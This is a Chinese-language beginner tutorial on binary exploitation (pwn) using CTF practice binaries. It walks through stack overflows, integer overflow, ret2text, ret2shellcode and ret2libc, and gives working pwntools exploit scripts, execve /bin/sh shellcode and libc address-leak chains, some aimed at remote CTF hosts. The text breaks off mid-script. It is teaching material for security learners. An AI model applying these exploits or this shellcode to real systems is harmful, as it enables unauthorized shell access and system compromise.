前言

什么是Pwn?

概念
”Pwn”是一个黑客语法的俚语词 ,是指攻破设备或者系统 。发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被你操纵了。
——————————————————————————————————百度百科

例子

试想有个端口对外开放着某种服务,如果你成功将它pwn掉,获取shell,提权之后这台服务器你就可以为所欲为;

即使无法提权,你也可以使用shell执行一些操作

入门者常用的Pwn方法

代表本文目前更新

  • 栈内变量覆盖

  • 整型溢出

  • ROP【全称为Return-oriented programming(返回导向编程)】

    • ret2text
    • ret2shellcode(未启用NX保护,栈可执行)
    • ret2libc (可用于绕过NX保护)
    • ret2syscall
    • ret2csu - 请移步下篇文章pwn进阶(尚未更新)
  • 格式化字符串漏洞

  • 构造ROP链 - 请移步下篇文章pwn进阶(尚未更新)

一些话

IDA上静态分析看到的东西有时和实际上运行的情况不一样,所以有时候需要进行动态分析,利用gdb等工具(IDA debug环境也可)

本文提供的程序全部为pyhton3,使用python2.7运行可能会遇到错误

本文篇幅较长,也比较枯燥,需要一些耐心进行阅读、思考

本文写给有c语言基础但是不懂pwn的人,介绍基础方法

开始之前

如果想知道相关工具的配置,请到本文后部分“相关”部分。(非常建议先把工具的使用方法了解一下)

本文可能存在一些错误,如有发现请麻烦指正,感激不尽。

导入

简单栈内变量覆盖

程序

ciscn_2019_n_1

程序下载: 本站网址/static/post/pwn-rop/ext/bin/ciscn_2019_n_1

checksec

amd64-64-little,为64位小端存储,开启NX保护

360截图18200421212046

运行一下

360截图170010146357111

IDA反编译

main函数

直接F5查看c伪代码,没有关键的东西,继续看func函数

360截图16821213116128116

func函数

汇编

360截图17581006396761

c伪代码

可以看到gets函数,这是个危险函数,我们从gets入手

360截图17581012897293

程序解释

程序打印“Let’s guess the number.”

程序读取输入,存到v1变量

程序判断v2的值是否为11.28125,是的话就执行system(“cat /flag”)

剩下的略过

可以发现v2并没有要求输入,但是v1可以输入任意数量的字符,由于v1 v2处于同一个栈,将v1输入一定数量的字符导致其溢出,溢出值覆盖v2的值即可

如下,v1首地址与v2首地址相差0x30-0x04也就是48-4 = 44

360截图16720330302642

Exploit

1
2
3
4
5
6
7
from pwn import *
#p = remote("pwn.challenge.ctf.show","28176")
p = process('./ciscn_2019_n_1')
p.recvuntil("Let's guess the number.")
payload1 = b'a' *(0x30-0x04) + p64(0x41348000)
p.sendline(payload1)
p.interactive()

Exp解释

到接受完”Let’s guess the number.”这一字符串,程序就发送44个a,再发送11.28125的十六进制形式

需要注意的是,p64()函数中填入浮点数会报错,为了避免这个错误,我们需要先将11.28125转化为十六进制形式

可以使用在线工具,网站在此

360截图17060226412864

小端程序和大端程序

本次使用的程序就是64位的小端程序,关于小端程序和大端程序的区别,其实就是一个存储方式的区别

小端和大端的区别,是会对我们pwn产生影响的,但是我们接触到的pwn程序一般为小端存储,简单了解下即可

1
2
3
4
5
6
7
大端模式(大尾)
* 存储规则:数据的高位存在内存的低位,数据的低位存在内存的高位。
* 常见软件:RAM(手机)上的应用多采用大端模式存储

小端模式(小尾)
* 存储规则:数据的低位存在内存的低位,数据的高位存在内存的高位。
* 常见软件:Intel AMD CPU上的应用多采用小端模式存储
  • 当一个变量的值位0x1122,0x11为高字节,0x22为低字节

在大端程序中,0x11存储在内存的低位,而0x22存储在内存的高位

在小端程序中,0x22存储在内存的低位,而0x11存储在内存的高位

  • 如果觉得有些抽象还可以看看这个判断程序(C语言)

来自此处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//大小端测试程序
#include <stdio.h>
#include <stdlib.h>
void checkCPUendian();
int main() {
checkCPUendian();
return 0;
}

void checkCPUendian() {
union {
unsigned int i;
unsigned char s[4];
}c;

c.i = 0x12345678;
printf("%s\n", (0x12 == c.s[0]) ? "大端模式" : "小端模式");
}

简单整型溢出

M78

欢迎来到M78星云的光之国,开始你的奇妙冒险吧!
题目入口:失效了/(ㄒoㄒ)/~~

初步尝试

对其执行checksec

*32位程序

*NX保护也就是栈不可执行

360截图1677080576118103

逆向分析

ida打开

先看主函数部分

调用了explorer函数

360截图16960429336025
看过了explore函数和后面的check函数,感觉找不到可以溢出的地方

找后门函数

先把后门函数找到

1
2
3
4
int call_main()
{
return system("/bin/sh");
}

记录下地址0x08049202

360截图17360625406856

尝试直接运行

不允许的情况

360截图1742091867118122

允许的情况

程序要求strlen得出为7才能允许,为啥输入6个a就能成?个人认为因为回车存在”\n”符,程序把换行符”\n”算进去了

360截图178605308685111

反而输入7个a是不能成的

360截图18141214688754

写了个c程序验证,果然如此

360截图17661023405132

开干

找溢出目标

可以看到调用了check函数

360截图17970217108134117

存在溢出的是strcpy那里,只需要让dest溢出即可,这个dest是下图中的第一句c程序char dest;

为啥?由于字符串复制(strcpy函数)s指针指向的字符数组的大小可以超过dest所在栈空间的最大值(ebp-18h那里)(也就是0x18),存在溢出

360截图16720331202657

关于溢出的的一些知识

这里就要讲一下上溢出

上溢出存在于有符号型数据类型,一个char型为一个字节,用于C或C++中定义字符型变量,

signed char范围是 -2^7 ~ 2^7-1,即-128到127

假设一个signed char变量的值为127,此时加1,它会变成-128

1
0b01111111->加1->0b100000000

ctfwiki中解释

1
2
3
0x7fff (0b0111111111111111)表示的是 32767,
但是 0x8000 (0b1000000000000000)表示的是 -32768,
用数学表达式来表示就是在有符号短整型中 32767+1 == -32768

既然有上溢出,当然也有下溢出

ctfwiki中解释

下溢出存在于无符号型数据类型

1
2
3
sub 0x8000, 1 == 0x7fff,
对于无符号来说是 32768 - 1 == 32767 是正确的,
但是对于有符号来说就变成了 -32768 - 1 = 32767。

要求满足字符长度为7的条件

char存储128的值会因为溢出而变成-128,也就是存储257后实际值就是1,下面有进行条件测试

360截图173606238712169

条件测试1

写了一个c程序进行观察

保存为1.c

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
char buf; //保持和题目程序一致
char buf1[200];
scanf("%s", buf1); //数组不需要取地址&,或者也可以&buf1[0]
buf = strlen(buf1);
printf("%d\n", buf);
return 0;
}

gcc编译

使用-m32参数保证编译32位程序

1
gcc 1.c -o 1.o -m32

使用pwntools测试

1
2
3
4
5
6
from pwn import *
#p = remote("39.96.88.40","7010")
p = process('./1.o')
payload = (128)*'a'
p.sendline(payload)
p.interactive()

结果

360截图16520813108133127

更多结果

360截图17030622645889

360截图173606238712169

条件测试1总结

也就是输入256+i,存储的就是i(i为整数)

理顺条理

那么对于这道题目,我给它输入262个字符就行,262即256+6,剩下一个字符为“\n”,符合长度7

为啥?本文开头那里“尝试直接运行”部分有说明

构造payload

由于我使用python3,所以需要decode(“iso-8859-1”),python2.7无需此操作

1
0x18 * 'a' + 4 * 'a' + p32(0x08049202).decode("iso-8859-1") + (262-0x18-4-4) * 'a'

读入的最大大小为0x199u,也就是十进制409,262个字符输入是可行的

360截图1786053089110144

payload解释

0x18 * ‘a’ 中的0x18前面说过是dest存储的最大值,超过这个值造成dest变量溢出

汇编显示有leave指令,即mov esp,ebp和 pop ebp

pop ebp也就是说pop时候,出栈用esp寄存器接收数据

360截图18430706484576

4 * ‘a’ 是用于覆盖ebp寄存器的出栈数据(32位程序为4字节,64位程序就要为8字节了),使其出栈

详解ebp和esp寄存器

那么p32(0x08049202).decode(“iso-8859-1”)实际上是p32(0x08049202),是字节码,溢出时使ret指令跳到这个地址,使其执行位于0x08049202的函数

ret指令的作用

(262-0x18-4-4) * ‘a’是为了保证最后发送的为262个字符,-0x18就不多说了,前面已经有0x18个字符‘a’故减去,一个-4是因为前面的4 * ‘a’ 占去四个字符

而再次-4是因为p32(0x08049202)为4个字符的大小,下图使用python的函数len()计算出p32()为四个字符的长度

360截图18430708111141144

前面已经说明使用262的原因

Exploit

exploit如下

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = remote("39.96.88.40","7010")
#p = process('./M78')

payload = 'a' * 0x18 + 4 * 'a' + p32(0x08049202).decode("iso-8859-1") + (262-0x18-8) * 'a'
p.sendlineafter("Your choice?",'1') #代替人工输入,sendlineafter意思是读到了“Your choice?”这个字符串才开始输入
p.sendlineafter("Please choose a building","test")#程序要求,随便输几个字符
p.sendlineafter("Please input the password", payload)#溢出点

p.interactive()

payload其他写法

这样写可能更好理解

1
2
payload = 'a' * (0x18 + 4) + p32(0x08049202).decode("iso-8859-1")
payload.ljust(262, "a")

简单ret2text

ret2text的简单理解就是利用.text段

什么时候使用ret2text?通常我们会反编译程序,查看是否有后门函数存在,如果后门函数如system(“/bin/sh”)存在,很有可能可以使用ret2text。

题目来自https://ctf.show/ 的 pwn02

下载程序

提供一个stack文件

checksec

可以看到这是32位的程序,开启NX

运行一下

IDA反编译

可以看到数组s的所在栈空间只能存9个字符,而程序允许50字符的读取,存在栈溢出

pwnme函数如下

还发现后门函数

地址位于0x804850F

程序解释

程序运行后要求用户输入,最多能输入50个字符,输入的字符存到数据类型为char的s变量中

Exploit

语言为python3

1
2
3
4
5
6
7
from pwn import *
#p = remote("pwn.challenge.ctf.show","28176")
p = process('./stack')
p.recv()#读取的信息无用
payload1 = 'a' *9 + 'a' *4 + p32(0x804850F).decode("iso-8859-1")
p.sendline(payload1)
p.interactive()

EXP解释

先使用9个字符填满s变量所在栈,造成溢出,再使用4个字符对ebp寄存器进行覆盖(程序在返回(ret)前会pop ebp,即对ebp进行出栈操作)(由于是32位程序,ebp寄存器能存4个字节,所以是4,64位程序是8)

结构如下:

(使用Windows自带画图工具画的,见谅)

r1

进阶ret2text

程序下载: 本站网址/static/post/pwn-rop/ext/bin/ret2text1

因为找不到想要的在text段有”/bin/sh”字段的程序,所以拿ctfwiki上的一题ret2libc1来讲,应当是类似的

checksec

360截图17230208666773

IDA反编译

360截图1624012811110499

存在后门函数,地址为0x08048460,但是只有system函数,不能获取shell

允许输入命令(由command变量)

360截图17270725476736

存在字符串”/bin/sh“

按图示操作

360截图17290430201353

显示

360截图16240127869180

找到字符串”/bin/sh“的地址为0X08048720,可以构造system(“/bin/sh”)

360截图17630328422827

程序解释

输出”RET2LIBC >_<“后读取任意长度字符存入所在栈空间为0x64个字节的s(char型)中

构造payload

1
2
3
4
5
#刚刚记下的地址
bin_sh_addr = 0x08048720
system = 0x08048460
#构造payload
payload = b'a' * (0x64+4) + p32(system) + b'a' * 4 + p32(bin_sh_addr)

编写exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p = process('./ret2text1')

bin_sh_addr = 0x08048720
system = 0x08048460

payload = b'a' * (0x64+4) + p32(system) + b'a' * 4 + p32(bin_sh_addr)
p.recvuntil("RET2LIBC >_<")
p.sendline(payload)

p.interactive()

但是运行了之后无法get shell,显示EOF。

这种情况就是在文章开头时说的,有时IDA进行静态分析不太准确,

那么此时进行动态调试是必要的

使用GDB进行动态调试

实际上,我们填入的字符’a‘的数量是变量s相对于返回地址的偏移,

目的是为了p32(system)即system的地址能覆盖到程序的返回地址

现在要做的就是找到变量s相对于ebp的偏移,然后+4,就是变量s相对于返回地址的偏移

启动gdb

1
gdb ret2text1

在gets下断点

1
break gets

1
b gets

运行

1
run

1
r

找到s在0xffffd4dc

360截图1700101394139118

为了查看下面的栈,输入

(100按情况定,是后多少个的意思)

1
stack 100

找到ebp在0xffffd548

360截图179110139077115

计算偏移量

输入

1
distance 0xffffd4dc 0xffffd548

计算出s相对于ebp的偏移为0x6c,则变量s相对于返回地址的偏移为0x6c+4

360截图1798010310610591

Exploit

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = process('./ret2text1')

bin_sh_addr = 0x08048720
system = 0x08048460

payload = b'a' * (0x6c+4) + p32(system) + b'a' * 4 + p32(bin_sh_addr)
p.sendline(payload)

p.interactive()

简单ret2shellcode

/bin/sh

找到一个大神的27 bytes-/bin/sh如下

16进制版shellcode如下,通过此shellcode可以实现system(“/bin/sh”)的功能

1
\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05

汇编语句如下,可以研究学习一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
;来自http://shell-storm.org/shellcode/files/shellcode-806.php

; * Execute /bin/sh - 27 bytes
; * Dad` <3 baboon
;rdi 0x4005c4 0x4005c4
;rsi 0x7fffffffdf40 0x7fffffffdf40
;rdx 0x0 0x0
;gdb$ x/s $rdi
;0x4005c4: "/bin/sh"
;gdb$ x/s $rsi
;0x7fffffffdf40: "\304\005@"
;gdb$ x/32xb $rsi
;0x7fffffffdf40: 0xc4 0x05 0x40 0x00 0x00 0x00 0x00 0x00
;0x7fffffffdf48: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
;0x7fffffffdf50: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
;0x7fffffffdf58: 0x55 0xb4 0xa5 0xf7 0xff 0x7f 0x00 0x00
;
;=> 0x7ffff7aeff20 <execve>: mov eax,0x3b
; 0x7ffff7aeff25 <execve+5>: syscall
;

main:
;mov rbx, 0x68732f6e69622f2f
;mov rbx, 0x68732f6e69622fff
;shr rbx, 0x8
;mov rax, 0xdeadbeefcafe1dea
;mov rbx, 0xdeadbeefcafe1dea
;mov rcx, 0xdeadbeefcafe1dea
;mov rdx, 0xdeadbeefcafe1dea
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
;mov rdi, rsp
push rsp
pop rdi
cdq
push rdx
push rdi
;mov rsi, rsp
push rsp
pop rsi
mov al, 0x3b
syscall

配套简单ShellCode题目

程序下载: 本站网址/static/post/pwn-rop/ext/bin/leak

checksec

64位程序,没有开启NX,其它保护也没开

360截图17571115224066

运行

360截图1729042879116109

IDA反编译

没有可用system()函数

360截图18180717195769

看一下主函数

360截图18430707498357

反编译之后很好理解

360截图1791101495122144

程序解释

将s的地址打印出来

然后程序读取512个字符存入类型为char的s变量

漏洞
溢出点
1
2
char s;
fgets(&s, 512, stdin);
数组地址

因为Linux的地址随机化机制,每次运行程序都会给s分配一个随机地址,

而这个题目把s的地址打印出来,所以这个题目是降低了难度的

1
printf("Oops, I'm leaking! %p\n", &s);
理解

因为读取的512个字符大小超过了s的所在栈空间大小,导致溢出

又因为NX disable,所以可以执行shellcode,可以用shellcode来劫持程序

Exploit

如下,使用pwntools

请使用python3,下面的程序就是用了上面的16进制shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
if True:
p = process('./leak')

p.recvuntil("ops, I'm leaking! ")

shellcode_address_at_stack = int(p.recv()[0:14], 16)
#print(shellcode_address_at_stack)


p.send("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05".ljust(64+8,'\x90'))#\x90换成a换成b等都可
p.send(p64(shellcode_address_at_stack).decode("iso-8859-1"))#decode("iso-8859-1")是因为运行程序是python3,如果是python2.7使用p64()时就就不需要加
#print(len(shellcode))
p.interactive()

第二个版本(有debug输出)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
if True:
p = process('./leak')
context(os='linux', arch='amd64',log_level='debug')
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

p.recvuntil("ops, I'm leaking! ")
shellcode_address_at_stack = int(p.recvuntil("\n"),16)

print(hex(shellcode_address_at_stack))
p.recvuntil("> ")
# gdb.attach(p,'')
#print(shellcode_address_at_stack)


#p.send("\x90"*(64+8))

payload = shellcode
payload += '\x90'*(72-len(shellcode))
payload += p64(shellcode_address_at_stack,endianness="little").decode("iso-8859-1")
p.sendline(payload)
#print(len(shellcode))
p.interactive()

EXP解释

简单解释:

输入0x40(十进制64)个字符就能装满s,再输任意字符就能导致s溢出

先导入shellcode再填充至72(64+8)(8是因为64位程序),再发送s的地址就能完成劫持

深入分析:

分析如图所示汇编程序:

程序读取64个字符(0x40)后(call _fgets后面),先用mov指令将0传送到eax寄存器

然后leave指令,即

1
2
mov esp,ebp
pop ebp

pop指令会进行出栈操作,所以要用64个字符(结构:shellcode+无用字符)后再填充8个字符(结构:无用字符)对其进行覆盖,再发送s的地址

最后ret指令(retn)就会执行发送的shellcode(地址被覆盖为s的地址)

ret指令:

先数据传送,再出栈

1
2
1. 数据传送ebp到esp
2. rsp-=8 出栈

结构如下:

(Windows自带画图工具)

r2

简单ret2libc

少许GOT表和PLT表知识

图片由lx制作

360截图17860605110129102

PLT表中存放的是GOT表的地址,当程序要调用某个函数时,会先通过PLT表获取GOT表中存放的函数在内存中的实际地址,再通过实际地址跳转到函数实际所在位置

由于32位程序和64位程序有些区别,所以这里会单独介绍32位和64位程序的做法

ELF

程序1

32位程序

32位程序使用栈传递参数

程序描述

题目来自CTF.show 的 pwn03

程序下载: 本站网址/static/post/pwn-rop/ext/bin/stack1

360截图17060223638358

checksec

可以看到开启了NXPartial RELRO函数只有在调用时才去执行加载,如果是Full RELRO则不适用ret2libc

360截图17571115315360

运行一下

360截图1795050993110100

IDA反编译

先进行静态分析

程序中自身就没有system函数和”/bin/sh”字符串,并且没有给出libc.so文件

对main函数

汇编

360截图18720120100107129

伪C

360截图16720328466669

对pwnme函数

汇编

360截图17571115635246

C伪代码如下

360截图18430702427333

程序解释

开始时,打印”stack happy!”和”32bits\n”

程序读取100个字符存入类型为char的s变量,s的所在栈空间大小为9个字符

再打印”\nExiting”

思路解释 and Exploitation

  • 先了解前提条件

    这个程序没有后门函数,而且开启了NX保护,存在ASLR(地址空间布局随机化,函数地址不固定)

  • 取得程序libc版本
    当我们知道它的libc版本,就可以利用libc,构造system(“/bin/sh”)

  • 确定输出函数

    因为程序使用了puts函数,所以以puts函数为突破口,泄漏puts函数在GOT表里的地址,以此地址确认libc的版本

    取地址的后三位数字确认libc的版本(地址随机化,对地址中间位进行随机,不过地址的倒数三个数字能确定)

  • 求基地址

    之后找puts函数在此版本libc中的偏移量,目的是为了求得基地址

    由我们获取puts函数的实际地址,减去libc中puts函数的偏移量,可以获取基地址(base)

  • 当获取到了基地址,即可构造system(“/bin/sh”)

    基地址加上libc上system函数的偏移量,就是远端机器实际上内存中libc中system函数的实际地址,再获取libc中的”/bin/sh”字符的实际地址,与前面的system函数配合,即可拿到shell

  • 构造完成,劫持程序

    将程序劫持到system(“/bin/sh”)

PLT表和GOT表前面已经有简单的介绍,如果还不太清楚,可以再回去了解一下


我们先把puts函数在GOT表里的地址弄出来

程序为python3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

pwn_file = './stack1'
elf = ELF(pwn_file)
p = process(pwn_file)

puts_plt = elf.plt['puts']#puts函数在plt表的地址
puts_got = elf.got['puts']#puts函数在got表的地址
main_addr = elf.symbols['main']#main函数的地址

payload = p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.send("A"*(9+4))#填满变量,再覆盖ebp
p.sendline(payload)
p.recvuntil('\n\n')
puts_addr = u32(p.recv(4).decode("iso-8859-1").ljust(4, "\00"))
print(hex(puts_addr))

在Ubuntu20.04运行结果如下

360截图17001019283463

当连接到远程环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

elf = ELF( './stack1')
p = remote("pwn.challenge.ctf.show","28115")#远程机器,请根据题目给的地址改

puts_plt = elf.plt['puts']#puts函数在plt表的地址
puts_got = elf.got['puts']#puts函数在got表的地址
main_addr = elf.symbols['main']#main函数的地址

payload = p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.send("a"*(9+4))#填满变量,再覆盖ebp
p.sendline(payload)
p.recvuntil('\n\n')
puts_addr = u32(p.recv(4).decode("iso-8859-1").ljust(4, "\00"))
print(hex(puts_addr))

得到地址如下

360截图1712051910812292

可以看到两个地址不相同,还是以远端机器为主,这里取后三位数字360

1、关于payload写法(暂时不能确定是否完全正确,有待以后验证):

调用某个函数,取其plt地址

1
p32(puts_plt)

对于函数和数据,调用的函数地址在前,数据的地址在后

如之前写的

1
p32(puts_plt) + p32(puts_got)

即put(puts_got)

对于函数之间,先调用的函数在前

1
p32(puts_plt) + p32(main_addr)

即先调用puts(),再返回main()

而上面给的程序

1
p32(puts_plt) + p32(main_addr) + p32(puts_got)

会先put(puts_got), 再ret main

使用puts函数要求填入一个参数,p32(puts_got)即填入puts里的参数

注意,ret main【即p32(main_addr)】是必要的,否则程序将继续执行下一条指令直到退出,p32(main_addr)是puts函数执行完的返回值,意思是返回到main函数,如果缺少这个返回值,程序会出错

可以是其它函数的got地址

类比如下

下面这样写就是fgets

1
2
fgets_got = elf.got['fgets']
payload = p32(puts_plt) + p32(main_addr) + p32(fgets_got)

如果是write函数,应当填入3个参数,

write(1, str, length),1代表stdout程序输出流, length是读取字节数

1
2
write_got = elf.got['write']
payload = p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)

2、关于puts_addr的获取的说明

实际上完整的p.recv()如下

1
b'stack happy!\n32bits\n\n\x10X\xd7\xf7`s\xd7\xf7\x90\x8d\xd2\xf7\xc0z\xd7\xf7\nstack happy!\n32bits\n\n

我们只获取第一次”stack happy!\n32bits\n\n“后面的东西,所以获取到”\n\n“即可(略过’\n\n’及其前面的东西)

1
p.recvuntil('\n\n')

当然这样写也是可以的

1
p.recvuntil('stack happy!\n32bits\n\n')

得到

1
b'\x10X\xd7\xf7`s\xd7\xf7\x90\x8d\xd2\xf7\xc0z\xd7\xf7\nstack happy!\n32bits\n\n

因为地址是4个字节的,我们只需要再获取4个字节

1
p.recv(4)

但由于u32()要求输入的是四个字节的数据,有时p.recv(4)获取的东西可能不足4个字节,给他用“\00”进行补充

1
u32(p.recv(4).decode("iso-8859-1").ljust(4, "\00"))

最后转换为hex(16进制)

1
hex()

u32()的解释可看此处

简单来说就是bytes的解压,p32()是bytes的压缩,recv()返回的数据类型为byte,而decode(“iso-8859-1”)可以将byte解码为str


然后根据GOT表里的地址确定libc版本,获取基地址

此网站查找puts,360

360截图178605306792107

计算基地址:

泄露出来的puts地址- puts在libc中的Offset

即0xf7d73360- 0x067360

1
base_addr = puts_addr - 0x067360

根据偏移量和基地址构造system(“/bin/sh”)

360截图1789122990108115

1
2
system_addr = base_addr + 0x03cd10
bin_sh_addr = base_addr + 0x17b8cf

之前已经调用过main了,所以程序会再次要求用户输入,只需再次发送payload

1
payload1 = b'a'*(9+4) + system_addr + b'a'*4 + bin_sh_addr

完整EXP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

elf = ELF( './stack1')
p = remote("pwn.challenge.ctf.show","28115")#远程机器,请根据题目给的地址改

puts_plt = elf.plt['puts']#puts函数在plt表的地址
puts_got = elf.got['puts']#puts函数在got表的地址
main_addr = elf.symbols['main']#main函数的地址

payload = p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.send("a"*(9+4))#填满变量,再覆盖ebp寄存器
p.sendline(payload)
p.recvuntil('\n\n')
puts_addr = u32(p.recv(4).decode("iso-8859-1").ljust(4, "\00"))
base_addr = puts_addr - 0x067360
system_addr = base_addr + 0x03cd10
bin_sh_addr = base_addr + 0x17b8cf
payload1 = 'a'*(9+4) + p32(system_addr).decode("iso-8859-1") + 'a'*4 + p32(bin_sh_addr).decode("iso-8859-1")
p.sendline(payload1)
p.interactive()

程序2(进阶)

64位程序

64位程序函数的调用方式与32位存在区别,使用寄存器传递参数

寄存器有rdi、rsi、rdx、rcx、r8、r9(1-6个参数)

程序描述

ciscn_2019_c_1

程序下载: 本站网址/static/post/pwn-rop/ext/bin/ciscn_2019_c_1

程序中自身就没有system函数和”/bin/sh”字符串,并且没有给出libc.so文件

checksec

64位程序,NX开启,Partial RELRO

360截图18720119154565

运行一下

感觉有些无语

360截图18430709106135148

静态分析(IDA反编译)

main函数

C伪代码

屏幕截图 2021-07-24 145001

汇编程序

屏幕截图 2021-07-24 152621

begin函数

屏幕截图 2021-07-24 152138

encrypt函数

C伪代码

屏幕截图 2021-07-24 152348

汇编

360截图17360617102135101

程序分析

运行程序后,打印

1
2
3
4
5
6
7
8
9
10
11
12
13
EEEEEEE                            hh      iii                \n
EE mm mm mmmm aa aa cccc hh nn nnn eee \n
EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e \n
EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee \n
EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee \n
====================================================================\n
Welcome to this Encryption machine\n
\n
====================================================================\n
1.Encrypt\n
2.Decrypt\n
3.Exit\n
Input your choice!\n

程序首先要求我们选择模式,1为加密,2为解密,3为退出

输入1,程序打印

1
Input your Plaintext to be encrypted\n

程序将读取任意长度字符,存入s中,s仅能存0x50个字符,然后程序再根据ASCII码,

对大于ASCII值47,小于等于ASCII值57(此范围对应字符0-9)的字符进行对0XF的异或,

对于大于ASCII值64,小于等于ASCII值90的字符(此范围对应字符A-Z)的字符进行对0XE的异或,

对于大于ASCII值96,小于等于ASCII值122的字符(此范围对应字符a-z)的字符进行对0XD的异或,

之后输出加密完的字符会返回begin函数,打印提示。

1
2
Ciphertext\n
\n

输入1之后的加密过程其实不重要,我们只需要关注它对任意长度字符的读取导致的溢出

输入2,程序提示 你应该能自己解密。。。然后返回begin函数,打印提示

输入3,直接return 0正常结束程序

思路

  • 还是像之前的32位程序那样,先泄露puts的地址(因为这里使用了puts),根据后三位数字判断其libc地址
  • 获取基地址,利用libc偏移量构造system(“/bin/sh”)
构造payload1

用于泄露puts的地址

关于32位和64位程序的区别前面已经有提过,在我们构造payload时就会体现这个区别

64位程序使用寄存器传值,因为puts函数只要一个参数,只需要找rdi寄存器(第一个传值的寄存器)的地址


先获取rdi寄存器的地址

需要借助ROPgadget,安装方法见文章底部“相关”部分

ROPgadget可以查看所有的地址和汇编指令

1
ROPgadget --binary ciscn_2019_c_1 

360截图18141223398536

为了防止眼花,最好让它自己找出来

1
ROPgadget --binary ciscn_2019_c_1 | grep 'rdi'

找到pop rdi ; ret,地址为0x0000000000400c83,可写为0x400c83

360截图17001014196738


依然是直接连接远程主机,原因的话前面已经解释过了

程序为python3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

p = remote("node4.buuoj.cn","28884")
elf=ELF('./ciscn_2019_c_1')

rdi = 0x400c83
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

p.sendlineafter('Input your choice!\n','1')
payload1 = b'a'*(0x50+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload1)
p.recvuntil('Ciphertext\n')
p.recvuntil('\n')

puts_addr = u64(p.recvuntil('\n').decode("iso-8859-1").replace("\n", "").ljust(8,'\00'))
print(hex(puts_addr))
payload1的解释

1、b’a’*(0x50+8)应该不需要解释了

2、p64(rdi)+p64(puts_got)是把puts_got的地址传给rdi寄存器

3、p64(puts_plt)是因为找到的pop rdi ; ret存在ret指令,p64(rdi)+p64(puts_got)传完值执行ret指令就能返回到puts_plt表的地址,执行puts函数,打印rdi寄存器里puts_got的地址,p64(main)是puts函数执行完后ret main返回到main函数的地址,再次执行主函数,所以可以看到启动程序时的提示信息出现了两次

下图为payload1发送完接受的信息 ,启动程序时的提示信息第二次出现

360截图167204049482108

4、p.recvuntil(‘Ciphertext\n’)和p.recvuntil(‘\n’)可以先去掉前面的无用信息,使用

1
p.recvuntil('\n')

接收,得到

360截图1680041694125106

这里就是泄露的puts的got的地址,但是多了个”\n”,给它去掉

1
replace("\n", "")

因为python3的replace函数只能处理字符串,所以先把它解码为字符串

1
p.recvuntil('\n').decode("iso-8859-1")

如下,完成对”\n”的去除

1
p.recvuntil('\n').decode("iso-8859-1").replace("\n", "")

u64函数要求输入的数据为8个字节,给它用”\00”进行填充到8个字

1
ljust(8,'\00')

如下

1
p.recvuntil('\n').decode("iso-8859-1").replace("\n", "").ljust(8,'\00')

u64和u32类似,u64()为8字节,其它的可以看前面关于u32的解释

5、泄漏puts地址为0x7f17e73129c0

查libc并计算基地址

360截图172904308510289

1
2
3
base_addr = puts_addr - 0x31580
bin_sh_addr = base_addr + 0x164a5a
system_addr = base_addr + 0x0#可以不加0x0,即system_addr等于base_addr,这里为了保持队形才加了
构造payload2

可以对前面的payload1进行复用,只需要将p64(main_addr)改为p64(rdi)+p64(bin_sh_addr)+p64(system_addr)

1
payload2 = b'a'*(0x50+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(rdi)+p64(bin_sh_addr)+p64(system_addr)
payload2的解释

system函数的参数来自rdi寄存器,所以要先把字符串”/bin/sh”的地址传给rdi,即p64(rdi)+p64(bin_sh_addr)

当然也可以这么写

1
2
ret = 0x4006b9
payload2 = b'a'*(0x50+8)+p64(ret)+p64(rdi)+p64(bin_sh_addr)+p64(system_addr)

直接ret返回到rdi寄存器

ret的地址由下面命令(依然是ROPgadget)获得

1
ROPgadget --binary ciscn_2019_c_1 | grep 'ret'

360截图16751022656290

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

p = remote("node4.buuoj.cn","28884")#务必替换成你的远程机器的地址
elf=ELF('./ciscn_2019_c_1')

rdi = 0x400c83
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

p.sendlineafter('Input your choice!\n','1')
payload1 = b'a'*(0x50+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
